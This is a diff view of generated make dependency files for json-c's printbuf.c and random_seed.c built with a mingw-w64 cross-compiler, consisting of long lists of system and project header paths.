/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/shaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lzcntintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmiintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmi2intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fmaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/f16cintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rtmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xtestintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm3dnow.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/prfchwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fma4intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xopintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lwpintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tbmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rdseedintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fxsrintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveoptintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/sgxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/adxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clwbintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clflushoptintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavesintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavecintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mwaitxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clzerointrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pkuintrin.h:
/usr/share/mingw-w64/include/pshpack4.h:
/usr/share/mingw-w64/include/poppack.h:
/usr/share/mingw-w64/include/pshpack4.h:
/usr/share/mingw-w64/include/pshpack2.h:
/usr/share/mingw-w64/include/poppack.h:
/usr/share/mingw-w64/include/pshpack2.h:
/usr/share/mingw-w64/include/pshpack8.h:
/usr/share/mingw-w64/include/pshpack8.h:
/usr/share/mingw-w64/include/ktmtypes.h:
/usr/share/mingw-w64/include/winbase.h:
/usr/share/mingw-w64/include/apisetcconv.h:
/usr/share/mingw-w64/include/minwinbase.h:
/usr/share/mingw-w64/include/bemapiset.h:
/usr/share/mingw-w64/include/debugapi.h:
/usr/share/mingw-w64/include/errhandlingapi.h:
/usr/share/mingw-w64/include/fibersapi.h:
/usr/share/mingw-w64/include/fileapi.h:
/usr/share/mingw-w64/include/handleapi.h:
/usr/share/mingw-w64/include/heapapi.h:
/usr/share/mingw-w64/include/ioapiset.h:
/usr/share/mingw-w64/include/interlockedapi.h:
/usr/share/mingw-w64/include/jobapi.h:
/usr/share/mingw-w64/include/libloaderapi.h:
/usr/share/mingw-w64/include/memoryapi.h:
/usr/share/mingw-w64/include/namedpipeapi.h:
/usr/share/mingw-w64/include/namespaceapi.h:
/usr/share/mingw-w64/include/processenv.h:
/usr/share/mingw-w64/include/processthreadsapi.h:
/usr/share/mingw-w64/include/processtopologyapi.h:
/usr/share/mingw-w64/include/profileapi.h:
/usr/share/mingw-w64/include/realtimeapiset.h:
/usr/share/mingw-w64/include/securityappcontainer.h:
/usr/share/mingw-w64/include/securitybaseapi.h:
/usr/share/mingw-w64/include/synchapi.h:
/usr/share/mingw-w64/include/sysinfoapi.h:
/usr/share/mingw-w64/include/systemtopologyapi.h:
/usr/share/mingw-w64/include/threadpoolapiset.h:
/usr/share/mingw-w64/include/threadpoollegacyapiset.h:
/usr/share/mingw-w64/include/utilapiset.h:
/usr/share/mingw-w64/include/wow64apiset.h:
/usr/share/mingw-w64/include/winerror.h:
/usr/share/mingw-w64/include/fltwinerror.h:
/usr/share/mingw-w64/include/timezoneapi.h:
/usr/share/mingw-w64/include/wingdi.h:
/usr/share/mingw-w64/include/pshpack1.h:
/usr/share/mingw-w64/include/winuser.h:
/usr/share/mingw-w64/include/tvout.h:
/usr/share/mingw-w64/include/winnls.h:
/usr/share/mingw-w64/include/datetimeapi.h:
/usr/share/mingw-w64/include/stringapiset.h:
/usr/share/mingw-w64/include/wincon.h:
/usr/share/mingw-w64/include/winver.h:
/usr/share/mingw-w64/include/winreg.h:
/usr/share/mingw-w64/include/reason.h:
/usr/share/mingw-w64/include/winnetwk.h:
/usr/share/mingw-w64/include/wnnc.h:
/usr/share/mingw-w64/include/virtdisk.h:
/usr/share/mingw-w64/include/stralign.h:
/usr/share/mingw-w64/include/sec_api/stralign_s.h:
/usr/share/mingw-w64/include/winsvc.h:
/usr/share/mingw-w64/include/mcx.h:
/usr/share/mingw-w64/include/imm.h:
random_seed.h:
linkhash.h:
json_object.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
printbuf.h:

View File

@ -0,0 +1,83 @@
printbuf.lo: printbuf.c config.h /usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h \
/usr/share/mingw-w64/include/stdarg.h \
/usr/share/mingw-w64/include/_mingw_stdarg.h debug.h printbuf.h \
snprintf_compat.h vasprintf_compat.h
config.h:
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h:
/usr/share/mingw-w64/include/stdarg.h:
/usr/share/mingw-w64/include/_mingw_stdarg.h:
debug.h:
printbuf.h:
snprintf_compat.h:
vasprintf_compat.h:

View File

@ -0,0 +1,687 @@
random_seed.lo: random_seed.c strerror_override.h config.h \
/usr/share/mingw-w64/include/errno.h \
/usr/share/mingw-w64/include/crtdefs.h \
/usr/share/mingw-w64/include/_mingw.h \
/usr/share/mingw-w64/include/_mingw_mac.h \
/usr/share/mingw-w64/include/_mingw_secapi.h \
/usr/share/mingw-w64/include/vadefs.h \
/usr/share/mingw-w64/include/sdks/_mingw_directx.h \
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h json_object.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h \
/usr/share/mingw-w64/include/stddef.h json_inttypes.h json_config.h \
/usr/share/mingw-w64/include/inttypes.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h \
/usr/share/mingw-w64/include/stdint.h \
/usr/share/mingw-w64/include/_mingw_print_push.h \
/usr/share/mingw-w64/include/_mingw_print_pop.h printbuf.h \
/usr/share/mingw-w64/include/string.h \
/usr/share/mingw-w64/include/sec_api/string_s.h \
/usr/share/mingw-w64/include/stdio.h \
/usr/share/mingw-w64/include/_mingw_off_t.h \
/usr/x86_64-w64-mingw32/include/swprintf.inl \
/usr/share/mingw-w64/include/sec_api/stdio_s.h random_seed.h \
/usr/share/mingw-w64/include/windows.h \
/usr/share/mingw-w64/include/sdkddkver.h \
/usr/share/mingw-w64/include/excpt.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h \
/usr/share/mingw-w64/include/stdarg.h \
/usr/share/mingw-w64/include/_mingw_stdarg.h \
/usr/share/mingw-w64/include/windef.h \
/usr/share/mingw-w64/include/minwindef.h \
/usr/share/mingw-w64/include/winapifamily.h \
/usr/share/mingw-w64/include/specstrings.h \
/usr/share/mingw-w64/include/sal.h /usr/share/mingw-w64/include/winnt.h \
/usr/share/mingw-w64/include/_mingw_unicode.h \
/usr/share/mingw-w64/include/ctype.h \
/usr/share/mingw-w64/include/apiset.h \
/usr/share/mingw-w64/include/psdk_inc/intrin-impl.h \
/usr/share/mingw-w64/include/basetsd.h \
/usr/share/mingw-w64/include/guiddef.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/x86intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ia32intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm_malloc.h \
/usr/share/mingw-w64/include/stdlib.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h \
/usr/share/mingw-w64/include/limits.h \
/usr/share/mingw-w64/include/sec_api/stdlib_s.h \
/usr/share/mingw-w64/include/malloc.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/emmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ammintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/smmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/popcntintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/wmmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/immintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx2intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512fintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512erintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512pfintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512cdintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512bwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512dqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlbwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vldqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmavlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmiintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmivlintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124fmapsintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124vnniwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vpopcntdqintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/shaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lzcntintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmiintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmi2intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fmaintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/f16cintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rtmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xtestintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm3dnow.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/prfchwintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fma4intrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xopintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lwpintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tbmintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rdseedintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fxsrintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveoptintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/sgxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/adxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clwbintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clflushoptintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavesintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavecintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mwaitxintrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clzerointrin.h \
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pkuintrin.h \
/usr/share/mingw-w64/include/pshpack4.h \
/usr/share/mingw-w64/include/poppack.h \
/usr/share/mingw-w64/include/pshpack4.h \
/usr/share/mingw-w64/include/pshpack2.h \
/usr/share/mingw-w64/include/poppack.h \
/usr/share/mingw-w64/include/pshpack2.h \
/usr/share/mingw-w64/include/pshpack8.h \
/usr/share/mingw-w64/include/pshpack8.h \
/usr/share/mingw-w64/include/ktmtypes.h \
/usr/share/mingw-w64/include/winbase.h \
/usr/share/mingw-w64/include/apisetcconv.h \
/usr/share/mingw-w64/include/minwinbase.h \
/usr/share/mingw-w64/include/bemapiset.h \
/usr/share/mingw-w64/include/debugapi.h \
/usr/share/mingw-w64/include/errhandlingapi.h \
/usr/share/mingw-w64/include/fibersapi.h \
/usr/share/mingw-w64/include/fileapi.h \
/usr/share/mingw-w64/include/handleapi.h \
/usr/share/mingw-w64/include/heapapi.h \
/usr/share/mingw-w64/include/ioapiset.h \
/usr/share/mingw-w64/include/interlockedapi.h \
/usr/share/mingw-w64/include/jobapi.h \
/usr/share/mingw-w64/include/libloaderapi.h \
/usr/share/mingw-w64/include/memoryapi.h \
/usr/share/mingw-w64/include/namedpipeapi.h \
/usr/share/mingw-w64/include/namespaceapi.h \
/usr/share/mingw-w64/include/processenv.h \
/usr/share/mingw-w64/include/processthreadsapi.h \
/usr/share/mingw-w64/include/processtopologyapi.h \
/usr/share/mingw-w64/include/profileapi.h \
/usr/share/mingw-w64/include/realtimeapiset.h \
/usr/share/mingw-w64/include/securityappcontainer.h \
/usr/share/mingw-w64/include/securitybaseapi.h \
/usr/share/mingw-w64/include/synchapi.h \
/usr/share/mingw-w64/include/sysinfoapi.h \
/usr/share/mingw-w64/include/systemtopologyapi.h \
/usr/share/mingw-w64/include/threadpoolapiset.h \
/usr/share/mingw-w64/include/threadpoollegacyapiset.h \
/usr/share/mingw-w64/include/utilapiset.h \
/usr/share/mingw-w64/include/wow64apiset.h \
/usr/share/mingw-w64/include/winerror.h \
/usr/share/mingw-w64/include/fltwinerror.h \
/usr/share/mingw-w64/include/timezoneapi.h \
/usr/share/mingw-w64/include/wingdi.h \
/usr/share/mingw-w64/include/pshpack1.h \
/usr/share/mingw-w64/include/winuser.h \
/usr/share/mingw-w64/include/tvout.h \
/usr/share/mingw-w64/include/winnls.h \
/usr/share/mingw-w64/include/datetimeapi.h \
/usr/share/mingw-w64/include/stringapiset.h \
/usr/share/mingw-w64/include/wincon.h \
/usr/share/mingw-w64/include/winver.h \
/usr/share/mingw-w64/include/winreg.h \
/usr/share/mingw-w64/include/reason.h \
/usr/share/mingw-w64/include/winnetwk.h \
/usr/share/mingw-w64/include/wnnc.h \
/usr/share/mingw-w64/include/virtdisk.h \
/usr/share/mingw-w64/include/cderr.h /usr/share/mingw-w64/include/dde.h \
/usr/share/mingw-w64/include/ddeml.h /usr/share/mingw-w64/include/dlgs.h \
/usr/share/mingw-w64/include/lzexpand.h \
/usr/share/mingw-w64/include/mmsystem.h \
/usr/share/mingw-w64/include/nb30.h /usr/share/mingw-w64/include/rpc.h \
/usr/share/mingw-w64/include/rpcdce.h \
/usr/share/mingw-w64/include/rpcdcep.h \
/usr/share/mingw-w64/include/rpcnsi.h \
/usr/share/mingw-w64/include/rpcnterr.h \
/usr/share/mingw-w64/include/rpcasync.h \
/usr/share/mingw-w64/include/shellapi.h \
/usr/share/mingw-w64/include/winperf.h \
/usr/share/mingw-w64/include/winsock.h \
/usr/share/mingw-w64/include/_timeval.h \
/usr/share/mingw-w64/include/_bsd_types.h \
/usr/share/mingw-w64/include/inaddr.h \
/usr/share/mingw-w64/include/psdk_inc/_socket_types.h \
/usr/share/mingw-w64/include/psdk_inc/_fd_types.h \
/usr/share/mingw-w64/include/psdk_inc/_ip_types.h \
/usr/share/mingw-w64/include/psdk_inc/_ip_mreq1.h \
/usr/share/mingw-w64/include/psdk_inc/_wsadata.h \
/usr/share/mingw-w64/include/psdk_inc/_xmitfile.h \
/usr/share/mingw-w64/include/psdk_inc/_wsa_errnos.h \
/usr/share/mingw-w64/include/wincrypt.h \
/usr/share/mingw-w64/include/bcrypt.h \
/usr/share/mingw-w64/include/ncrypt.h \
/usr/share/mingw-w64/include/dpapi.h \
/usr/share/mingw-w64/include/winefs.h \
/usr/share/mingw-w64/include/winscard.h \
/usr/share/mingw-w64/include/wtypes.h \
/usr/share/mingw-w64/include/rpcndr.h \
/usr/share/mingw-w64/include/rpcnsip.h \
/usr/share/mingw-w64/include/rpcsal.h \
/usr/share/mingw-w64/include/ole2.h \
/usr/share/mingw-w64/include/objbase.h \
/usr/share/mingw-w64/include/combaseapi.h \
/usr/share/mingw-w64/include/wtypesbase.h \
/usr/share/mingw-w64/include/unknwnbase.h \
/usr/share/mingw-w64/include/objidlbase.h \
/usr/share/mingw-w64/include/cguid.h \
/usr/share/mingw-w64/include/objidl.h \
/usr/share/mingw-w64/include/unknwn.h \
/usr/share/mingw-w64/include/urlmon.h \
/usr/share/mingw-w64/include/oleidl.h \
/usr/share/mingw-w64/include/servprov.h \
/usr/share/mingw-w64/include/msxml.h \
/usr/share/mingw-w64/include/oaidl.h \
/usr/share/mingw-w64/include/propidl.h \
/usr/share/mingw-w64/include/oleauto.h \
/usr/share/mingw-w64/include/winioctl.h \
/usr/share/mingw-w64/include/winsmcrd.h \
/usr/share/mingw-w64/include/winspool.h \
/usr/share/mingw-w64/include/prsht.h \
/usr/share/mingw-w64/include/commdlg.h \
/usr/share/mingw-w64/include/stralign.h \
/usr/share/mingw-w64/include/sec_api/stralign_s.h \
/usr/share/mingw-w64/include/winsvc.h /usr/share/mingw-w64/include/mcx.h \
/usr/share/mingw-w64/include/imm.h /usr/share/mingw-w64/include/time.h \
/usr/share/mingw-w64/include/sys/timeb.h \
/usr/share/mingw-w64/include/sec_api/sys/timeb_s.h \
/usr/share/mingw-w64/include/pthread_time.h
strerror_override.h:
config.h:
/usr/share/mingw-w64/include/errno.h:
/usr/share/mingw-w64/include/crtdefs.h:
/usr/share/mingw-w64/include/_mingw.h:
/usr/share/mingw-w64/include/_mingw_mac.h:
/usr/share/mingw-w64/include/_mingw_secapi.h:
/usr/share/mingw-w64/include/vadefs.h:
/usr/share/mingw-w64/include/sdks/_mingw_directx.h:
/usr/share/mingw-w64/include/sdks/_mingw_ddk.h:
json_object.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stddef.h:
/usr/share/mingw-w64/include/stddef.h:
json_inttypes.h:
json_config.h:
/usr/share/mingw-w64/include/inttypes.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdint.h:
/usr/share/mingw-w64/include/stdint.h:
/usr/share/mingw-w64/include/_mingw_print_push.h:
/usr/share/mingw-w64/include/_mingw_print_pop.h:
printbuf.h:
/usr/share/mingw-w64/include/string.h:
/usr/share/mingw-w64/include/sec_api/string_s.h:
/usr/share/mingw-w64/include/stdio.h:
/usr/share/mingw-w64/include/_mingw_off_t.h:
/usr/x86_64-w64-mingw32/include/swprintf.inl:
/usr/share/mingw-w64/include/sec_api/stdio_s.h:
random_seed.h:
/usr/share/mingw-w64/include/windows.h:
/usr/share/mingw-w64/include/sdkddkver.h:
/usr/share/mingw-w64/include/excpt.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/stdarg.h:
/usr/share/mingw-w64/include/stdarg.h:
/usr/share/mingw-w64/include/_mingw_stdarg.h:
/usr/share/mingw-w64/include/windef.h:
/usr/share/mingw-w64/include/minwindef.h:
/usr/share/mingw-w64/include/winapifamily.h:
/usr/share/mingw-w64/include/specstrings.h:
/usr/share/mingw-w64/include/sal.h:
/usr/share/mingw-w64/include/winnt.h:
/usr/share/mingw-w64/include/_mingw_unicode.h:
/usr/share/mingw-w64/include/ctype.h:
/usr/share/mingw-w64/include/apiset.h:
/usr/share/mingw-w64/include/psdk_inc/intrin-impl.h:
/usr/share/mingw-w64/include/basetsd.h:
/usr/share/mingw-w64/include/guiddef.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/x86intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ia32intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm_malloc.h:
/usr/share/mingw-w64/include/stdlib.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/limits.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include-fixed/syslimits.h:
/usr/share/mingw-w64/include/limits.h:
/usr/share/mingw-w64/include/sec_api/stdlib_s.h:
/usr/share/mingw-w64/include/malloc.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/emmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/ammintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/smmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/popcntintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/wmmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/immintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx2intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512fintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512erintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512pfintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512cdintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512bwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512dqintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vlbwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vldqintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512ifmavlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmiintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vbmivlintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124fmapsintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx5124vnniwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/avx512vpopcntdqintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/shaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lzcntintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmiintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/bmi2intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fmaintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/f16cintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rtmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xtestintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mm3dnow.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/prfchwintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fma4intrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xopintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/lwpintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/tbmintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/rdseedintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/fxsrintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsaveoptintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/sgxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/adxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clwbintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clflushoptintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavesintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/xsavecintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/mwaitxintrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/clzerointrin.h:
/usr/lib/gcc/x86_64-w64-mingw32/7.3-win32/include/pkuintrin.h:
/usr/share/mingw-w64/include/pshpack4.h:
/usr/share/mingw-w64/include/poppack.h:
/usr/share/mingw-w64/include/pshpack4.h:
/usr/share/mingw-w64/include/pshpack2.h:
/usr/share/mingw-w64/include/poppack.h:
/usr/share/mingw-w64/include/pshpack2.h:
/usr/share/mingw-w64/include/pshpack8.h:
/usr/share/mingw-w64/include/pshpack8.h:
